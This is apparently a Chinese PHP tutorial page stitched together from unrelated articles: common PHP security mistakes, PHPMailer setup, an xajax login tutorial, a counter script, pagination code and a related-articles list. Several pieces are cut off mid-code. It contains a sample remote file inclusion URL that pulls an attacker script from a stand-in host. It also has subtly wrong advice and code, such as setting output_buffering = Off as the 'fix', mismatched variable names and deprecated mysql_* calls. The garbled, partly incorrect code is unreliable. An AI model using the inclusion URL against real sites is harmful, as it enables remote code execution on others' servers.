PHP程序员最易犯10种错误
1.不转意html entities
一个基本的常识：所有不可信任的输入（特别是用户从form中提交的数据） ，输出之前都要转意。
echo $_GET[''usename''] ;
这个例子有可能输出：
<scrīpt>/*更改admin密码的脚本或设置cookie的脚本*/</scrīpt>
这是一个明显的安全隐患，除非你保证你的用户都正确的输入。
如何修复 ：
我们需要将"< ",">","and" 等转换成正确的HTML表示(< , >'', and ")，函数htmlspecialchars 和 htmlentities()正是干这个活的。
正确的方法：
echo htmlspecialchars($_GET[''username''], ENT_QUOTES);
2. 不转意SQL输入
我曾经在一篇文章中最简单的防止sql注入的方法(php+mysql中)讨论过这个问题并给出了一个简单的方法 。有人对我说，他们已经在php.ini中将magic_quotes设置为On，所以不必担心这个问题，但是不是所有的输入都是从$_GET, $_POST或 $_COOKIE中的得到的！
如何修复：
和在最简单的防止sql注入的方法(php+mysql中)中一样我还是推荐使用mysql_real_escape_string()函数
正确做法：
<?php
$sql = "UPDATE users SET
name=''.mysql_real_escape_string($name).''
WHERE id=''.mysql_real_escape_string ($id).''";
mysql_query($sql);
?>
3.错误的使用HTTP-header 相关的函数: header(), session_start(), setcookie()
遇到过这个警告吗?"warning: Cannot add header information - headers already sent [....]
每次从服务器下载一个网页的时候，服务器的输出都分成两个部分：头部和正文。
头部包含了一些非可视的数据，例如cookie。头部总是先到达。正文部分包括可视的html，图片等数据。
如果output_buffering设置为Off，所有的HTTP-header相关的函数必须在有输出之前调用。问题在于你在一个环境中开发，而在部署到另一个环境中去的时候，output_buffering的设置可能不一样。结果转向停止了，cookie和session都没有正确的设置........。
如何修复:
确保在输出之前调用http-header相关的函数，并且令output_buffering = Off
。
4. Require 或 include 的文件使用不安全的数据
再次强调：不要相信不是你自己显式声明的数据。不要 Include 或 require 从$_GET, $_POST 或 $_COOKIE 中得到的文件。
例如:
index.php
<?
//including header, config, database connection, etc
include($_GET[''filename'']);
//including footer
?>
现在任一个黑客现在都可以用:http://www.yourdomain.com/index.php?filename=anyfile.txt
来获取你的机密信息，或执行一个PHP脚本。
如果allow_url_fopen=On，你更是死定了：
试试这个输入：
http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php
现在你的网页中包含了http://www.youaredoomed.com/phphack.php的输出. 黑客可以发送垃圾邮件，改变密码，删除文件等等。只要你能想得到。
发送邮件是一个经常使用的功能，但是php的默认支持并不是很好，这里介绍一个很好的开源模块：phpmailer，此模块功能比较全面，支持SMTP验证。下面就简单介绍一下它的使用方法：
1 下载phpmailer模块： 官方网站 http://www.phpdoc.org/
2 解压到一个文件夹
3 在php文件中包含 require_once("class.phpmailer.php");
4 使用SMTP发送邮件：
$mail = new PHPMailer(); //得到一个PHPMailer实例
$mail->CharSet = "gb2312"; //设置采用gb2312中文编码
$mail->IsSMTP(); //设置采用SMTP方式发送邮件
$mail->Host = "192.168.1.27"; //设置邮件服务器的地址
$mail->Port = 25; //设置邮件服务器的端口，默认为25
$mail->From = "mailFrom@tencent.com"; //设置发件人的邮箱地址
$mail->FromName = "samzhang"; //设置发件人的姓名
//$mail->SMTPAuth = true; //设置SMTP是否需要密码验证，true表示需要
$mail->Username="samzhang";
$mail->Password = ''your password";
$mail->Subject = $subject; //设置邮件的标题
$mail->AltBody = "text/html"; // optional, comment out and test
$mail->Body = "你的邮件的内容";
$mail->IsHTML(xajax功能很简单，但很灵活！~它不象其它一些大的框架，功能确实强大，但执行速度不敢恭维。。功能虽多，但不够灵活。api多，学起来简直如同学习一门新的语言。
xajax就没那么复杂，手册只有一页html，如下：
http://javascript.chinahtml.com/2006/javascript-11398213503517.shtml
二、xajax功能介绍
xajax的功能比较简单，但就因为简单，所以灵活。同时，这也要求使用者要对javascript / vbs 客户端脚本有一定的了解。因为它的功能是比较活的。可以说单纯使用xajax，什么也做不出，但配合js / vbs 又什么都做的出。
xajax主要是使用xajaxResponse这个类，它提供了一些方法，举例如下：
1、addAlert($sMsg)
弹出警告
2、addscript($sJS)
执行某段js
3、$objResponse->addAssign("","","")
给页面中的某个元素附值，或者修改其属性
等等。。。。
所以xajax不是死的，它不能做出XXX XXX功能来，但是它可以灵活的控制客户端的js / vbs，去完成我们要实现的效果。
三、xajax安装配置
不需要特别的安装和配置，只要下载其文件包，解压到网站目录中
下载地址：
http://www.xajaxproject.org/
三、用xajax做会员注册和登陆
1、数据库
采用mysql5.0，数据库名zl 表名zl_user 表结构
id int(11) auto_increment
zl_user varchar(50)
zl_pwd varchar(50)
email varchar(50)
2、reg.php 注册文件(内有说明)
<?php
require_once("inc/xajax.inc.php");
//使用xajax则必须首先引入xajax.inc.php
$xajax = new xajax("inc/signup.php");
//创建一个xajax对象，为singup.php
$xajax->registerFunction("processForm");
//使用singup.php里的processForm函数
?>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<link rel="stylesheet" href="http://blogbeta./css/style.css" type="text/css">
<title>无标题文档</title>
<?php $xajax->printJavascript(''inc/''); ?>
<script type="text/javascript">
function submitSignup()
{
xajax.$(''submitButton'').disabled=true;
&
<?php
require_once(''config.php'');
function counter()
{
session_start();
$sql="select counter from counter";
$result=@mysql_query($sql);
if(!empty($result))
{
$row=mysql_fetch_array($result);
$counter=++$row[counter];
if(!$_SESSION[''counter''])
{
$query="update counter set counter=$counter";
$result=@mysql_query($query);
if($result)
{
$_SESSION[''counter'']=true;
}
}
$counter_len=strlen($counter);
for($i=0;$i<$counter_len;$i++)
{
$number=substr($counter,$i,1);
if(isset($number))
{
echo "<img src=''image/".$number.".gif''>";
}
}
}
}
?>
www.cnjiaocheng.com
1、前言 分页显示是一种非常常见的浏览和显示大量数据的方法，属于web编程中最常处理的事件之一。对于web编程的老手来说，编写这种代码实在是和呼吸一样自然，但是对于初学者来说，常常对这个问题摸不着头绪，因此特地撰写此文对这个问题进行详细的讲解，力求让看完这篇文章的朋友在看完以后对于分页显示的原理和实现方法有所了解。本文适合初学者阅读，所有示例代码均使用php编写。 2、原理 所谓分页显示，也就是将数据库中的结果集人为的分成一段一段的来显示，这里需要两个初始的参数： 每页多少条记录（$PageSize）？ 现在只要再给我一个结果集，我就可以显示某段特定的结果出来。 前10条记录：select * from table limit 0,10 这一组sql语句其实就是当$PageSize=10的时候取表内每一页数据的sql语句，我们可以总结出这样一个模板： select * from table limit ($CurrentPageID - 1) * $PageSize, $PageSize 拿这个模板代入对应的值和上边那一组sql语句对照一下看看是不是那么回事。搞定了最重要的如何获取数据的问题以后，剩下的就仅仅是传递参数，构造合适的sql语句然后使用php从数据库内获取数据并显示了。以下我将用具体代码加以说明。 3、简单代码 <?php
当前是第几页（$CurrentPageID）？
至于其他的参数，比如：上一页（$PreviousPageID）、下一页（$NextPageID）、总页数（$numPages）等等，都可以根据前边这几个东西得到。
以mysql数据库为例，如果要从表内截取某段内容，sql语句可以用：select * from table limit offset, rows。看看下面一组sql语句，尝试一下发现其中的规率。
第11至20条记录：select * from table limit 10,10
第21至30条记录：select * from table limit 20,10
……
请详细阅读以下代码，自己调试运行一次，最好把它修改一次，加上自己的功能，比如搜索等等。
// 建立数据库连接
$link = mysql_connect("localhost", "mysql_user", "mysql_password")
or die("Could not connect: " . mysql_error());
// 获取当前页数
if( isset($_GET[''page'']) ){
$page = intval( $_GET[''page''] );
}
else{
$page = 1;
}
// 每页数量
$PageSize = 10;
// 获取总数据量
$sql = "select count(*) as amount from table";
$result = mysql_query($sql);
$row = mysql_fetch_row($result);
$amount = $row[''amount''];
// 记算总共有多少页
if( $amount ){
if( $amount < $page_size ){ $page_count = 1; }
相关文章
Ecshop提示Only variables should be passed by reference in错误
在安装好ecshop软件之后我们打开首页时提示Only variables should be passed by reference in错误了，碰到这个问题是什么原因呢？下面我们就一起来看看解决办法吧。...2016-11-25- 409错误是什么？http 409错误怎么解决呢？不少站长在遇到这个错误代码之后都一筹莫展，本次一聚教程网为大家带来了详细的说明，快来看看吧。 409错误是什么： HTTP 40...2017-01-22
- 414错误是HTTP协议状态码中的一种，很多都还不知道414错误是什么，以及不知道怎么解决414错误，那么就来看看小编带来的介绍吧。 414错误是什么： HTTP 414错误，(Requ...2017-01-22
- http 405错误是什么？http 405错误怎么解决？相信很多站长都在找这两个问题的答案，本次小编为大家带来了详细的教程，快来看看吧。 405错误是什么： HTTP 405错误是H...2017-01-22
- 401是HTTP状态码的一种，属于“请示错误”，表示请求可能出错，已妨碍了服务器对请求的处理。具体的401错误是指：未授权，请求要求进行身份验证。登录后，服务器可能会返回对页面...2017-01-22
- http 402错误是什么？402错误较为少见，一般不轻易出现，下面小编就来告诉大家402错误是什么吧。 HTTP 402错误是HTTP状态码的一种，表示“要求付费”； 所求的...2017-01-22
- 411错误是HTTP协议状态码的一种，很多人都还不知道411错误是什么，本次一聚教程网将为大家进行解答，并且告诉大家411错误怎么解决。 411错误是什么： HTTP 411错误，(Lengt...2017-01-22
- Apache status 503 的原因大致有如下几种情况 ： 1、 CPU 负载过高，服务器响应不过来，返回503 2、 系统连接数超限，超过MaxVhostClients的上限，返回503 3、 单IP连接数超限，超过M...2016-01-28
- 403错误是网站访问过程中，常见的错误提示。资源不可用，服务器理解客户的请求，但拒绝处理它。通常由于服务器上文件或目录的权限设置导致，比如IIS或者apache设置了访问权限...2017-01-22
- 这篇文章主要介绍了C#开发Windows窗体应用程序的简单操作步骤，具有很好的参考价值，希望对大家有所帮助。一起跟随小编过来看看吧...2021-04-12
- 403错误是HTTP状态码的一种，属于“请示错误”，表示服务器拒绝请求。如果在搜索引擎尝试抓取您网站上的有效网页时显示此状态代码，那么，这可能是您的服务器或主机拒绝搜索...2017-01-22
- 412错误是什么？412错误怎么解决？本次一聚教程网将为大家带来详细的介绍，帮助大家全面了解412错误的意思以及解决412错误的方法。 412错误是什么： HTTP 412错误，（Precond...2017-01-22
- 本文通过例子，讲述了C++调用C#的DLL程序的方法，作出了以下总结，下面就让我们一起来学习吧。...2020-06-25
- 相信很多站长都遇到过这样一个问题，访问页面时出现408错误，下面一聚教程网将为大家介绍408错误出现的原因以及408错误的解决办法。 HTTP 408错误出现原因： HTT...2017-01-22
- HTTP 406错误是HTTP协议状态码的一种，表示无法使用请求的内容特性来响应请求的网页。一般是指客户端浏览器不接受所请求页面的 MIME 类型。 而MIME类型是在把输出...2017-01-22
- 407错误是什么？407错误怎么解决？不少站长都遇到过407错误，下面小编将告诉大家如何处理407错误。 407错误是什么： HTTP 407错误是HTTP协议状态码的一种，表示需要代...2017-01-22
- 410错误是HTTP协议状态码的一种，本次一聚教程网将为大家详细介绍HTTP 410错误是什么，以及410错误的解决办法。 410错误是什么： HTTP 410错误是HTTP协议状态码的...2017-01-22
- 每当遇到http错误代码为400，代表客户端发起的请求不符合服务器对请求的某些限制，或者请求本身存在一定的错误，那么HTTP 400错误怎么解决呢？请看下文介绍。 目前400错...2017-01-22
PHP Fatal error: Cannot use object of type stdClass as array in错误
下面一起来看看在php开发中碰到PHP Fatal error: Cannot use object of type stdClass as array in错误问题的解决办法吧。 普通的数组出现如下错误 代码...2016-11-25- 本文通过两个示例讲解了一下Process类调用外部应用程序的基本用法，并简单讲解了StartInfo属性，有需要的朋友可以参考一下。...2020-06-25